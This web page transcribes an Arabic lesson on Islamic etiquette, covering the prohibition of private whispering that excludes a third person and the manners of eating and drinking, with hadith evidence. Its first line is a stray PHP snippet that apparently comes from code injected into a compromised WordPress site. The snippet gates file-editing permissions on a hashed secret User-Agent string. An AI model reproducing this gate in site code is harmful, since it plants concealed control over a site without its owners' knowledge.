if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } الدرس السابع - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

الدرس السابع

الحمد لله رب العالمين، وصلى الله وسلم وبارك وأكرم وأنعم على خيرة خلقه وأفضل أنبيائه ورسله نبينا محمد وعلى آله وأصحابه وأتباعه بإحسانٍ إلى يوم الدين.

أما بعد، أيها الأخوة والأخوات السلام عليكم ورحمة الله وبركاته، وحياكم الله في الدرس السابع من دروس شرح فصولٍ في الآداب ومكارم الأخلاق المشروعة للإمام «أبي الوفاء ابن عقيل الحنبلي» غفر الله له ورحمه ووالديه والسامعين ووالديهم وعموم المسلمين.

انتهينا إلى الفصل التاسع وهو فصلٌ خاصٌ بالتناجي ثم بإذن الله نأتي إلى الفصل العاشر في آداب الطعام والشراب.

قال رحمه الله:

فَصْلٌ

وَيَحْرُمُ أَنْ يَتَنَاجَى اِثْنَانِ دُوْنَ ثَالِثٍ؛ لِأَنَّهُ يُوْجِبُ إِيْحَاشًا، وَكَسْرَ القَلْبِ.

إذن هذا الفصل سطرٌ واحد لكنه حوى معاني عظيمة في النهي عن التناجي، والمراد بالتناجي التحدث سرًا بين اثنين وترك الثالث، مثله بل أقبح منه تناجي مجموعة وترك واحد، إذن نهى الشارع عن التناجي من اثنين وترك الثالث؛ لأن هذا أقل عدد يُتصور منه التناجي المحرم لكن لو كان أربعة فتناجى ثلاثة دون الرابع، نقول: هذا مثله بل أشد، ولو كانوا عشرة فتناجوا كلهم وتركوا واحدًا، نقول: هذا أشد وأنكى وأكثر إيغارًا للصدور وظن السوء بهم؛ فإن هذا الواحد الذي لم يدخلوه في حديثهم وتناجوا دونه يقع في قلبه من سوء الظن بهم والانكسار ما لا يخفى، أما إذا تناجى مجموعة وتركوا مجموعة كما هو حال بعض الناس، يتميزوا في مجموعات كلٌ يتكلم في جانب لا يسمعه الآخر لكن هؤلاء مجموعة وأولئك مجموعة فلا حرج في ذلك كله ما دام أنهم لم يحصل تناجي مجموعة وترك واحدٍ، قد دل على النهي عن النجوى الكتاب العزيز والسنة المطهرة، ففي الكتاب يقول جل شأنه: {إِنَّمَا النَّجْوَى مِنَ الشَّيْطَانِ لِيَحْزُنَ الَّذِينَ آمَنُوا وَلَيْسَ بِضَارِّهِمْ شَيْئًا إِلَّا بِإِذْنِ اللهِ وَعَلَى اللهِ فَلْيَتَوَكَّلِ الْمُؤْمِنُونَ} [المجادلة:10] لو لم يرد في الكتاب إلا هذا الوصف لكفى لأهل الإيمان تركًا وبعدًا عن هذا الخلق الذميم وهو التناجي، فإن الله جل شأنه أخبر أنه من الشيطان وبناءً على هذا فالمتناجي قد أعان الشيطان على أخيه بل نقول قام بدور الشيطان فـ{ إِنَّمَا النَّجْوَى مِنَ الشَّيْطَانِ لِيَحْزُنَ الَّذِينَ آمَنُوا} فالمتناجيين قد تلبسا بهذا الوصف القبيح وأحزنا أخاهم المسلم، وفي الآية قبلها يقول جل شأنه: {يَا أَيُّهَا الَّذِينَ آمَنُوا إِذَا تَنَاجَيْتُمْ فَلَا تَتَنَاجَوْا بِالْإِثْمِ وَالْعُدْوَانِ وَمَعْصِيَتِ الرَّسُولِ وَتَنَاجَوْا بِالْبِرِّ وَالتَّقْوَى} [المجادلة: ٩] وفي الصحيح يقول صلى الله عليه وسلم: «إذا كانُوا ثَلاثَةٌ، فلا يَتَناجَى اثْنانِ دُونَ الثَّالِثِ»[1] [متفقٌ عليه] وعن ابن مسعود رضي الله عنه أن رسول الله صلى الله عليه وسلم قال: لا يتناجى اثنان دون الثالث حتى تختلطوا بالناس من أجل أن ذلك يحزنه[2] [الحديث متفقٌ عليه] فتطابق الحديث مع الآية الكريمة، فإن ذلك يُحزنه وإنما نصّ في الحديثين على الاثنين والثالث لأن هذا كما سبق أقل عدد يمكن فيه التناجي المذموم.

قال ابن عقيل رحمه الله معللًا: (لِأَنَّهُ يُوْجِبُ إِيْحَاشًا، وَكَسْـرَ القَلْبِ) إذن علل رحمه الله بالمنع والنهي عن التناجي المحرم الذي صرّح فيه بالتحريم بأنه يوجب إيحاشًا وكسر القلب، كيف يكون ذلك؟ نقول: يوجب إيحاشًا إن أساء الظن بالمتناجيين وأنهما يتناجيان فيه، يعني ثلاثة، اثنان يتناجيان، نقول هذا الذي تركتموه ولم تُشركوه في حديثكم إن أساء الظن بكما فإنه يحصل الوحشة في ذلك ويظن الظنون ويحزن قلبه وينكسر ويظن أنكما تتناجيان فيه، وإن أحسن الظن بكما وعاد باللوم والاتهام لنفسه وأنه لا يُهتم لرأيه ولا يُؤبَه به ولا يُدخل في حديث الناس فإن هذا يكسر قلبه، إذن حتمًا سيحصل واحد من أمرين، إما أنه يسـيء الظن فتحصل الوحشة والبغضاء والعداوة بين أهل الإيمان، وإما أنه يقول أحسن الظن بهم لكن النقص فيني، ما سألوني ما كلموني ما أدخلوني في حديثهم فينكسر قلبه، وعلى كلٍ نقول كسر قلب المؤمن وإدخال الحزن عليه أمر مبغوض عند الله بل لم يرد في الكتاب العزيز الحزن إلا منهيًا عنه أو منفيًا بل كان صلى الله عليه وسلم يتعوذ بالله من الهم والحزن، والحزن يكسر القلب ويُشغل العبد حتى ربما عن طاعته وربما يُشغله حتى عن نومه فيبدأ يُفكر ويهوجس ويأخذه الهم ويأكله، يفكر لما يتناجى الناس ويتركونه وما الذي يخططون ويدبرون فيه، ويُلحق بالتناجي التحدث بين اثنين وأكثر بلغةٍ أجنبية لا يفهمها المستمع إليهم وهو واحد، وهذا يكثر، يكثر جدًا، اثنان يتكلمان باللغة الأجنبية كالإنجليزية وواحد لا يفقه ولا يفهم وهو عندهم يسمع، نقول: ترى هذا نوع من التناجي فإذا كنتم تحسنون العربية فتكلموا بالعربية ليفهم ما تقولان، لا تقولان احنا ما تناجينا، نقول: لا، ما دام أنه لا يُحسن اللغة التي تتحدثان بها فإن هذا نوعٌ من التناجي والعكس بالعكس، إن كانوا يتكلمون بالعربية وعندهم أجنبي لا يفهم لغتهم فإنهم لا يتناجيان، وهذا كثير لا سيما في الطب تجد الطبيبين أو الطبيب والممرض يتكلمان، والمريض مسكين ما يدري إيش يقولون وربما هو لا يظن أنهم يتكلمون فيه بسوء، لكن ربما يظن أنه في مرض خطير وأن طول كلامهم هذا يفسره هو بأن فيه مرض خطير وأنه يتكلمان فيه لكن لو أنهما تكلما بالعربية ليسمع لكان أسلم وأصلح وأفهم وأبعد عن الضرر.

هل يستثنى من التناجي شيءٌ؟ من أهل العلم من قال يستثنى إذا استأذنا فأذن لهما الثالث، يعني يقولان للثالث عن إذنك بيننا كلام خاص، من أهل العلم من أباح ذلك وأجازه، والقول الثاني المنع وهو الأقرب فإنه مهما أذن ففي نفسه شيء أو قد يرد في نفسه شيء، ولهذا لا تقول عن إذنك عندنا كلام خاص، خذ صاحبك واخرج معه وتحدث معه بالكلام الخاص حتى تنتهيان ثم ارجع فإن هذا أيسر وأخف من أنك تقول له عن إذنك نتناجى أو عندنا كلامٌ خاص، فإن من أهل العلم من أجازه وقال: إذا أذن فقد زال المحذور لكن الظاهر والعلم عند الله أن المنع فيه أولى وأسلم، فإن سلامة النفوس شيءٌ عظيم، وهو قد يأذن لكن قد يأتيه الشيطان فيحزنه ويقول له: هم استأذنوك؛ لأنهم يتكلمان فيك.

من الصور التي يؤذن فيها: ما لا يخطر في بال الثالث أنهما يتحدثان فيه، مثل إنسان ضيف عند صاحب الدار فجاء ولد صاحب الدار يشاور أباه في أمر يتعلق بالضيافة، متى يقدمون أو نحو ذلك، نقول: لا حرج؛ لأن الضيف لا يمكن أن يقول هذا الولد يتكلم مع والده فيني، هذا بعيدٌ جدًا وحينئذٍ نقول العرف جارٍ بأن مثل هذا جائز، فإذا دخل الابن لأبيه أو الأخ لأخيه وهو يحدثه بأمر يتعلق بالضيافة أو أمر يتعلق بالبيت، طرأ طارئ وعنده ضيف، جاؤوا يهمسون في أذنه لأمر يتعلق بهم أو يستأذن الولد في الذهاب لِعِله أو نحو ذلك من الصور التي لا تنتهي، نقول: لا حرج في ذلك، ومثله لو كان الإنسان أيضًا في دائرة حكومية يراجع ثم جاء أحد الموظفين فهمس في أذن المدير وحدّثه على أمر خاص يتعلق بالعمل، نقول: لا حرج، لكن الأولى بأن المراجع يقول عن إذنكم أنا أخرج حتى تنتهيان إذا كان يجد حرجًا في الجلوس وهما يتحدثان، والغالب أنهما يقولان هذا الأمر يتعلق بالعمل وابق في مكانك ولا حرج عليك ومثله أيضًا في المدارس، يأتي ولي الأمر عند مدير المدرسة ثم يأتي أحد المعلمين يريد أن يشكي طالبًا أو يتكلم، فهل من الأدب أن يتكلم المعلم أمام هذا الولي بأن الطالب الفلاني فعل وفعل، نقول: لا يصح هذا ولا يليق وهذا من الغيبة لهذا الطالب لكنه جاء إلى المدير ليكلمه فيُسر إليه، فإذن مثل هذا وصوره لا تنتهي، نقول: ما جرى العرف والعادة بأنه ليس من التناجي المذموم فلا حرج فيه.

قال رحمه الله:

فَصْلٌ

وَيُسْتَحَبُّ اِفْتِتَاحُ الأَكْلِ بِبِسْمِ اللهِ، وَخَتْمُهُ بِالحَمْدُ للهِ، وَأَنْ يَأْكُلَ بِيَمِيْنِهِ مِمَّا يَلِيْهِ، إِذَا كَانَ الطَّعَامُ نَوْعًا وَاحِدًا، وَلَا يَأْكُلُ مِنْ ذِرْوَةِ الطَّعَامِ لَكِنْ مِنْ جَوَانِبِهِ، وَكَذَلِكَ الكَيْلُ فَإِنَّهُ أَدْعَى لِلْبَرَكَةِ، كَذَلِكَ رُوِيَ فِي السُّنَنِ، وَلَا يَنْفَخُ الطَّعَامَ الحَارَّ وَلَا البَارِدَ، وَلَا يُكْرَهُ الأَكْلُ والشُّرْبُ قَائِمًا، وَيُكْرَهُ مُتَّكِئًا وَإِذَا دَفَعَ إِنَاءَ الشَّارِبِ أَوِ اللُّقْمَةَ، دَفَعَ إِلَى مَنْ عَنْ يَمِيْنِهِ، كَذَلِكَ كَانَ يَفْعَلُ النَّبِيُ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ.

هذه جملة كبيرة من الآداب، قد نأتي عليها الليلة وقد نؤجل بعضها حسب الوقت والمتاح وتيسير رب العباد.

فنقول الأكل والشرب من النعم العظيمة التي يمارسها الناس، الناس كل الناس يأكلون، المسلم والكافر والبر والفاجر لكن المسلم يتأدب بآداب الشريعـة، وأعظم الأدب أولًا: أن ينوي بهذا الأكل التقوي على الطاعة فإنه ليس كعامة الناس يأكل هكذا، وإنما نقول: المؤمن ينوي بكل شيء عبادة وطاعة فهو ينوي بأكله وشربه ونومه التقوي على الطاعة كما ينوي حفظ بدنه، كما ينوي أيضًا وهو يأكل ويشرب التنعم بالطيبات وأن الله أباحها وأحلها ثم يتأدب بالآداب العظيمة التي منها ما ذكره المؤلف هنا فإنه رحمه الله قال أولًا (يُسْتَحَبُّ اِفْتِتَاحُ الأَكْلِ بِبِسْمِ اللهِ، وَخَتْمُهُ بِالحَمْدُ للهِ) فهذه أول مسألة وهي أنه يُسن ويُستحب كما يقول رحمه الله افتتاح الأكل ببسم الله يعني والشرب فإن ما ورد في الأكل يرد في الشرب كذلك، التسمية عند الطعام والشراب مستحبة بالإجماع وقد حكى جمعٌ من أهل العلم وجوبها كالنووي وذلك لأنه ورد فيها عدة أحاديث في الأمر في قوله صلى الله عليه وسلم لعمر بن أبي سلمة: «يا غُلَامُ، سَمِّ الله»[3]، وهذا أمرٌ يفيد الوجوب، ولقوله صلى الله عليه وسلم: «اذْكُرُوا اسْمَ الله، ولْيَأْكُلْ كُلُّ رَجُلٍ ممَّا يَلِيهِ»[4] ولأن من أكل ولم يسمِ يشاركه الشيطان كما ثبت في الصحيح، ولأن التسمية سببٌ لحلول البركة.

إذن هذه جملة من التعليلات والأدلة الصحيحة التي تدل على أن التسمية ليست بأمرٍ مستحبٍ فقط بل واجبة وإن كان الجمهور رحمهم الله يقولون إن الأوامر في أبواب الأخلاق والآداب محمولةٌ على الاستحباب، هذه قاعدة عندهم لكنها لا تُسلم لهم، يعني ليس بصحيح أن كل أمر في أبواب الأخلاق والآداب محمول على الاستحباب بل منها ما هو محمول على الوجوب كما سبق مثل رد السلام، مثل تشميت العاطس، كل هذه واجبة ولا يُسلم القول بأن ذلك على الاستحباب بل الصحيح أن التسمية واجبة وأن من أكل بدون تسمية وهو ذاكر عالم فهو آثم، صيغة التسمية عند الأكل والشرب أن يقول “بسم الله”، وقال بعضهم: يقول “بسم الله الرحمن الرحيم” يعني يكملها، قال النووي: إن الزيادة أفضل ونقله ابن مفلح عن شيخ الإسلام ابن تيمية، قال ابن حجر: ولم أرَ دليلًا على الزيادة وهو كما قال رحمه الله، إذن الصحيح والسنة أن يقتصر على قول “بسم الله” عند الأكل وعند الشرب وعند دخول الخلاء والخروج وكذلك دخول المنزل والخروج ودخول المسجد والخروج يكتفي بقول “بسم الله” وكذلك عند الذبح، بل كره غير واحدٍ من أهل العلم أن يُكملها عند الذبح، أن يقول عند الذبيحة “بسم الله الرحمن الرحيم” فإن الذبح يتنافى مع هذا، بل ينبغي أن يقتصر على الوارد فيقول “بسم الله”.

هل التسمية مشروعة للجميع أو يُكتفى بتسمية بعضهم؟ هل هي مثل السلام؟ إذا سلّم بعض أو رد بعض يكفي؟ مع أن السنة أن يسلم الجميع ويرد الجميع كما تقدم، نقول: التسمية مشروعة لكل أحد ولا يكتفي أحدٌ بتسمية بعضٍ لأن الأمر بالتسمية وردت لكل واحد لأمره صلى الله عليه وسلم عمر بن أبي سلمة رضي الله عنه بالتسمية مع أن عمر هذا صغير وهو يأكل مع النبي صلى الله عليه وسلم فلو أن التسمية تكفي تسمية البعض لاكتفى النبي صلى الله عليه وسلم بتسميته وتسمية أصحابه، إذن لا يُسمي واحدٌ ويكتفي به الأخرون بل يُسمي كل واحد حتى الصغير، ولهذا قال صلى الله عليه وسلم: «اذْكُرُوا اسْمَ اللهِ» اذكروا، وهو أمرٌ يفيد الوجوب وهو خطاب للجميع وقيل: يُكتفى بتسمية بعضهم عن بعض قياسًا على رد السلام وتشميت العاطس وهذا قولٌ مرجوح، والصحيح الأول ولا يصلح القياس، أولًا: رد السلام فيه حديث كما تقدم وهو دليلٌ على الاكتفاء ببعضهم إلا أن السنة أن يُسلم الجميع، أما تشميت العاطس فالصحيح أنه يجب على كل من سمعه أن يشمته؛ لحديث: حقٌ على من سمع العاطس أن يشمته[5] فتشميت العاطس على الصحيح فرضٌ على كل من سمعه، ولهذا نقول: السنة أن يُسمي الجميع بل جاء في الحديث الصحيح: أن النبي: أن النبي صلى الله عليه وسلم كان يأكل مع أصحابه وعددهم ستة فجاء أعرابيٌ فأكل طعامه في لقمتين، فقال صلى الله عليه وسلم: أما إنه لو سمى لشبعتم[6]، فدل على أن عدم تسمية هذا الأعرابي الذي جاء وهجم على الطعام وأكله في لقمتين والنبي صلى الله عليه وسلم وأصحابه سيأكلون ويشبعون، دل على أن عدم تسميته نزعت البركة من هذا الطعام، وجاء في الحديث الآخر: أنه صلى الله عليه وسلم كان يأكل فجاءت جارية كأنما تدفع يعني كأنها تُدفع للأكلفأمسك صلى الله عليه وسلم بيدها، ثم جاء أعرابي كأنما يُدفع كما نقول: مدفوفمن حرصه ورغبته وشرهه في أن يأكل، فأمسك صلى الله عليه وسلم بيده، ثم أخبر أن الشيطان أراد أن يستحل الطعام بهما وأن يدهما تحت يده وأن الشيطان أراد أن يستحل الطعام[7]، فدل ذلك كله على أنه ينبغي ألا يبدأ الناس في الطعام إلا وقد حرصوا الصغار قبل الكبار أن يُسمي كل واحدٍ، إذا نسي التسمية في أول الطعام فإنه يقول كما جاء في الصحيح: بسم الله أوله وآخره[8] وإن لم يذكرها حتى فرغ سقطت فإنها قد ذهب مكانها، على القول إنها سنة أو واجب فات محله.

قوله رحمه الله: (وَخَتْمُهُ بِالحَمْدُ للهِ) هذا من السنن المؤكدة جدًا ولو لم يرد فيه إلا قول النبي صلى الله عليه وسلم: «إنَّ الله لَيَرْضَى عَنِ العَبْدِ أَنْ يَأْكُلَ الأكْلَةَ فَيَحْمَدَهُ عَلَيْهَا، أَوْ يَشْـرَبَ الشَّرْبَةَ فَيَحْمَدَهُ عَلَيْهَا»[9] [الحديث رواه الإمام مسلم] تأكل فتحمد الله فيرضى عنك، هذا أعظم أجر وثواب ينتظرك، أعظم ما يتمناه أهل الإيمان مرضاة الرب جل شأنه «إنَّ الله لَيَرْضَى عَنِ العَبْدِ أَنْ يَأْكُلَ الأكْلَةَ فَيَحْمَدَهُ عَلَيْهَا، أَوْ يَشْرَبَ الشَّرْبَةَ فَيَحْمَدَهُ عَلَيْهَا» [الحديث رواه الإمام مسلم]  ويدخل في ذلك ومشروعيته أي التسمية والحمدكل ما يؤكل، عادة الناس أن يسموا عند الأكل الذي يقتاتونه ويجدونه طعامًا، لكن ما لا يُتغذى به يتساهل الناس، مثال ذلك: الشاي والقهوة، هل الناس يسمون عند شربهما؟ نعم، فيه من يُسمي لكن فيه من يترك التسمية، يواظب على التسمية عند الأكل والشرب لكن الشاي والقهوة وغيرها مما هو دونها ربما يتساهل فيها، فنقول: كل ما يؤكل وكل ما يُشرب تُسمي فيه وتحمد الله جل شأنه على أن أنعم عليك، فكم من إنسان يتمنى هذه النعمة ولم يجدها، فمن حمد الله وشكره بلسانك أن تقول: “الحمد لله الذي أطعمنا وسقانا وكفانا وآوانا، فكم ممن لا كافي ولا مأوى له” كم ممن على وجه البسيطة من لا يجد لقمة العيش وأنت وجدتها سائغةً طيبةً فسميت الله وأكلت وشبعت، فتحمد الله فيرضى عنك وتقر هذه النعمة؛ فإن الشكر والحمد من أسباب دوام النعمة، والشكر والحمد باللسان وقبل ذلك بالقلب وأيضًا بالجوارح بأن توظف هذه النعم في طاعة الله، ومن أعظم توظيفها في طاعة الله أنك وأنت تأكل تقول أنا آكل حتى أتقوى على الطاعة وأنام حتى أتقوى على الطاعة.

قوله رحمه الله: (وَأَنْ يَأْكُلَ بِيَمِيْنِهِ) عطفه على قوله رحمه الله: (وَيُسْتَحَبُّ اِفْتِتَاحُ الأَكْلِ بِبِسْمِ اللهِ) الأكل باليمين مستحبٌ عند الجمهور، قالوا: لأن الأمر المتعلق بالآداب محمولٌ على الاستحباب كما قالوا ذلك في التسمية وبيّنا أن هذه القاعدة غير صحيحة، فليست كل الأوامر في الآداب مبنية على الاستحباب، وذهب جمعٌ من المحققين من أهل العلم إلى أن الأكل والشرب باليمين واجبٌ، وممن ذهب إلى ذلك ابن عبدالبر وابن حزم وابن أبي موسى وعزاه ابن علان للشافعي، وقال ابن القيم رحمه الله: إنه أحد الوجهين عن الإمام أحمد ويستدل أصحاب هذا القول بجملة من الأدلة تدل على الوجوب لا على الاستحباب، منها قول النبي صلى الله عليه وسلم في هذا الحديث الذي سبق، حديث عمر بن أبي سلمة: «يا غُلَامُ، سَمِّ الله، وَكُلْ بيَمِينِكَ»[10] فهذا أمر والأمر إذا جُرد دل على الوجوب، إذن هذا أمرٌ صريحٌ والأمر يفيد الوجوب، ولقوله صلى الله عليه وسلم: «إذا أكَلَ أحدُكم فلْيَأكُلْ بيَمينِه، وإذا شَرِبَ فلْيَشرَبْ بيَمينِه، فإنَّ الشَّيْطانَ يَأكُلُ بشِمالِه، ويَشرَبُ بشِمالِه»[11] هذا أيضًا يؤكد الأمر وأنه على سبيل الوجوب فإن الآكل بشماله أو الشارب بشماله تارك لسنة النبي صلى الله عليه وسلم ومتشبهٌ بالشيطان، ولأنه صلى الله عليه وسلم رأى رجلًا يأكل بشماله فقال: كل بيمينك، فقال: لا أستطيع ما منعه إلا الكبر، فقال صلى الله عليه وسلم: لا استطعت، قال الراوي: فما رفعها إلى فيه[12] نسأل الله السلامة والعافية، شُلت يده، لماذا؟ لأنه استكبر، يأمره النبي صلى الله عليه وسلم الهادي البشير بأمرٍ يسير، يقول: كل بيمينك ما عنفه ولا عاتبه إنما أمره وأرشده، فيقول: لا أستطيع والله يعلم أنه يستطيع، قال النبي صلى الله عليه وسلم: لا استطعت، دعا عليه فشُلت يده فما استطاع أن يرفعها، فالواجب على المسلم أن يستجيب لأمر الله وألا يتردد إذا سمع سنةً من سنن النبي صلى الله عليه وسلم فضلًا عن الواجب ولأن الأكل بالشمال فيه تشبهٌ بالشيطان، والله يقول: {يَا أَيُّهَا الَّذِينَ آمَنُوا لَا تَتَّبِعُوا خُطُوَاتِ الشَّيْطَانِ وَمَنْ يَتَّبِعْ خُطُوَاتِ الشَّيْطَانِ فَإِنَّهُ يَأْمُرُ بِالْفَحْشَاءِ وَالْمُنْكَرِ} [النور: ٢١] والأكل بالشمال منكرٌ، هذا هو الراجح من أقوال أهل العلم وهو وجوب الأكل والشرب باليمين وتحريمه بالشمال.

من الأعذار التي يعتذر بها بعض الناس إذا رأيته يأكل أو يشرب بشماله، يقول: أخشى أن ألوث الإناء، تجده على المائدة يأكل بيمناه فإذا أراد أن يشرب شرب باليسرى، لماذا فعلت هذا يا فلان؟ لماذا شربت باليسرى؟ قال: أخشى أن ألوث الإناء، نقول: سبحان الله، كيف تلوث الإناء، هذا طعام إذا صار في الكاس، إن كان الكاس مما يُغسل فالحمد لله يزيله الماء وإن كان الكاس وهو الغالب مما يُستعمل استعمالًا مرةً واحدة فإنه لن يشرب فيه غيرك وكذلك قوارير الماء والعصير وما يوضع على المائدة، أنت افتحها واشربها ثم لن يشربها بعدك أحد فلا عذر في ذلك البتة وإنما هو الجهل، تترك سنة النبي صلى الله عليه وسلم الواجبة لأجل ألا تُلوث، ومنه أيضًا أن يقول بعضهم إن يمناي مشغولة فيأكل باليمنى ويشرب باليسرى، هذه أيضًا علة عليلة وكثير من الناس يكون في يده من الخبزة أو ما تسمى ساندويتش وفي اليسرى عصير أو نحوه، نقول: سبحان الله، لم تشرب باليسرى؟ قال: يدي اليمنى مشغولة، نقول: هلّا أكلت باليمنى ثم وضعت الطعام وأخذت باليمنى الشراب وشربت ولم تأكل باليمين وتشرب باليسار، فإن هذا محرم ليس مكروهًا وإنما هو من المحرمات.

قال رحمه الله: (وَأَنْ يَأْكُلَ بِيَمِيْنِهِ مِمَّا يَلِيْهِ، إِذَا كَانَ الطَّعَامُ نَوْعًا وَاحِدًا) هذا أدب عظيم، وهو أن المسلم إذا دُعي إلى وليمة أو في بيته يأكل أو يأكل وحده فإن السنة دلت على أنه يأكل مما يليه إذا كان الطعام واحدًا ويدل على ذلك حديث عمر بن أبي سلمة المتقدم: «وَكُلْ ممَّا يَلِيكَ»[13] هذا أدبٌ عظيم، فإن الأكل إذا كان واحدًا كصحن فيه أرز، نقول: كل مما يليك، لا تأكل مما يلي جارك هنا ولا هنا ولا من وسط الطعام؛ لأن الأكل من خلاف ذلك والتعدي إلى ما لا يليه مخالفٌ للأدب ويتضمن ثلاث مفاسد، أولها: التعدي على الآخرين، هذا مكانك فإذا أكلت من مكان غيرك تعديت عليه وربما عافت نفسه الأكل بسبب تعديك ودخولك في مكانه، ثانيًا: تقذير الطعام على الآخرين فإن من الناس ما هو حساس جدًا، ما يأكل مما أُكل منه، ثالثًا: يوحي بالشره وهو خلقٌ ذميم فإن الإنسان الذي يأكل من هنا ومن هنا يعني كأنه يقول الذي أمامي محفوظ ومحجوز وسأعود إليه، فيأكل من هنا ومن هنا ثم يعود إلى ما عنده وأمامه، قد لا يقصد هذا لكن هذا يوحي إليه ولهذا ينظر إليه الناس بأنه تاركٌ لأدب الأكل ومع ذلك أساء وتعدى على الآخرين وقلل الطعام عليهم وأيضًا فيه شيءٌ من الشره ويستوي في ذلك على الصحيح من يأكل مع مجموعة أو يأكل وحده، فإن من يأكل وحده ينبغي أيضًا أن يأكل مما يليه فإنه إذا كان يأكل مما يليه جاء من بعده فوجد الطعام كما هو في الأطراف الثانية فأكل لكن إذا كان يأكل هنا وهنا وجاء إنسان بعده فأراد أن يأكل فوجد الطعام قد أُكل من جهات عدة ربما عافه وربما تغير الطعام بلمسه باليد.

يقول رحمه الله: (إِذَا كَانَ الطَّعَامُ نَوْعًا وَاحِدًا) إذن هذا الأدب، تأكل مما يليك إذا كان الطعام كله من جنسٍ واحد، أما إذا الطعام متنوعًا فلا حرج ولا يلزمه أن يأكل مما يليه بل يأخذ مما يحتاج إليه، مثل حال الناس اليوم يضعون الإدام من لحمٍ أو دجاج ونحوه فوق المائدة فلا حرج أن يمد يده ويأخذ شيئًا من اللحم ولا يقول له أحد كل مما يليك، نقول: هذا للجميع، ومثله الفاكهة، إذا قُدمت في طبق ويريد أن يأكل تفاحًا والتفاح في الوسط، نقول لا بأس، وآخر يريد عنبًا، وثالث يريد موزًا، نقول: لا حرج لأنه متنوع فيختار ما يريد ولا حرج عليه في ذلك ويدل على ذلك ما ورد عن أنس بن مالك رضي الله عنه أنه صلى الله عليه وسلم كان يتتبع الدباء[14]، وهذا يدل عليه جملة من الأحاديث أيضًا، وتتبع الدباء في الطعام دليل على أنه متنوع وفيه دباء، ومثله الآن أنواع الخضار إذا طُبخت بعض الناس لا يريد هذا فيأخذ هذا ويأخذ هذا وبعضهم لا يريده فيرفع لمن أراده، إذن نقول: إذا كان الطعام من جنسٍ واحد فإنه يأكل مما يليه وإذا كان متنوع فلا حرج في ذلك كله، دل على هذه الآداب جملة من الأحاديث، منها حديث عمر بن أبي سلمة رضي الله عنه عند البخاري قال: «كُنْتُ غُلَامًا في حَجْرِ رَسولِ الله صَلَّى الله عَلَيْهِ وَسَلَّمْ أي صغير ووجَهَه صلى الله عليه وسلم هذه التوجيهات العظيمة مع صغر سنه وكَانَتْ يَدِي تَطِيشُ في الصَّحْفَةِ، فَقالَ لي رَسولُ الله صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ: يا غُلَامُ، سَمِّ الله، وكُلْ بيَمِينِكَ، وكُلْ ممَّا يَلِيكَ فَما زَالَتْ تِلكَ طِعْمَتي بَعْدُ»[15] [رواه الإمام مسلم وهو في البخاري] إذن حديث متفقٌ عليه، فما أحلى وما أجمل وما أحسن التربية والتعليم للصغار، النبي صلى الله عليه وسلم ما تركه، ما قال هذا صغير لا لوم عليه، هذا وقت التربية والتعليم من الأب، من الأخ الأكبر، من الأم، من المعلم، يُربَى الصغير إذا ترك شيء، كانت يده تطيش، ما عنده علم، ما تعلم، فقال له صلى الله عليه وسلم هذه الوصايا الثلاث: يا غُلَامُ، سَمِّ الله، وكُلْ بيَمِينِكَ، وكُلْ ممَّا يَلِيكَ، قال: فَما زَالَتْ تِلكَ طِعْمَتي بَعْدُ، يعني خلاص انتهى، لا يمكن أن يترك التسمية ولا أن يأكل مما لا يليه، فتأدب رضي الله عنه في ذلك كله وحافظ على التسمية والأكل مما يليه رضي الله عنه ، ومن الأدلة على ذلك قول النبي صلى الله عليه وسلم في الحديث المتقدم: «اذْكُرُوا اسْمَ الله، ولْيَأْكُلْ كُلُّ رَجُلٍ ممَّا يَلِيهِ»[16] [حديث أنس عند البخاري] وعن ابن عمر رضي الله عنهما أن رسول الله صلى الله عليه وسلم قال: «إذا أكَلَ أحدُكم فلْيَأكُلْ بيَمينِه، وإذا شَرِبَ فلْيَشرَبْ بيَمينِه، فإنَّ الشَّيْطانَ يَأكُلُ بشِمالِه، ويَشرَبُ بشِمالِه»[17] [رواه الإمام مسلم]، وعن خالد بن معدان عن أبي أمامة رضي الله عنه «أنَّ النبيَّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ كانَ إذَا رَفَعَ مَائِدَتَهُ قالَ: الحَمْدُ لِلَّهِ كَثِيرًا طَيِّبًا مُبَارَكًا فِيهِ، غيرَ مَكْفِيٍّ ولَا مُوَدَّعٍ ولَا مُسْتَغْنًى عنْه، رَبَّنَا»[18]، وفي رواية قال: «الحَمْدُ لِلَّهِ الذي كَفَانَا وأَرْوَانَا»[19] [رواه البخاري].

قال رحمه الله: (وَلَا يَأْكُلُ مِنْ ذِرْوَةِ الطَّعَامِ -يعني من أعلاه- لَكِنْ مِنْ جَوَانِبِهِ) يدل على ذلك حديث ابن عباس رضي الله عنهما أن النبي صلى الله عليه وسلم أُتي بقصعة من ثريد فقال صلى الله عليه وسلم: «كلوا من جوانبِها، ولا تأكُلوا من وسْطِها، فإنَّ البرَكةَ تَنزلُ في وَسْطِها»[20] [رواه أصحاب السنن بسندٍ صحيح] وهذا يفيد النص على العلة بالنهي وهو مراعاة البركة، ما هي البركة هنا؟ نقول: بركة متنوعة، أعظمها وأولاها وأهمها بركة اتباع السنة ولزومها وعدم مخالفتها، ومن البركة التي ينتفع بها مَن أكل من جوانب الأكل ولم يأكل من وسطه أنه ينتفع بهذا الطعام ويهنأ به ويكون طعامه مريئًا نافعًا غير ضار، كما أن هذه البركة تتضمن شبع من أكل وبقاء بقيةٍ من الطعام يستفيد منها المتأخر ومن لم يحضر مع أول الحاضرين إلى غير ذلك من البركة، إذن نقول: من البركة أن الطعام يكفيه وربما يفيض عليه ويزيد ويهنأهم هذا الأكل ويصيب السنة وهذه أعظم بركة؛ فإن أعظم بركة تصيب المسلم مطابقة السنة واتباعها وتطبيقها والتزامها وعدم مخالفتها وتعبد الله بها والتأسي برسوله صلى الله عليه وسلم فيها.

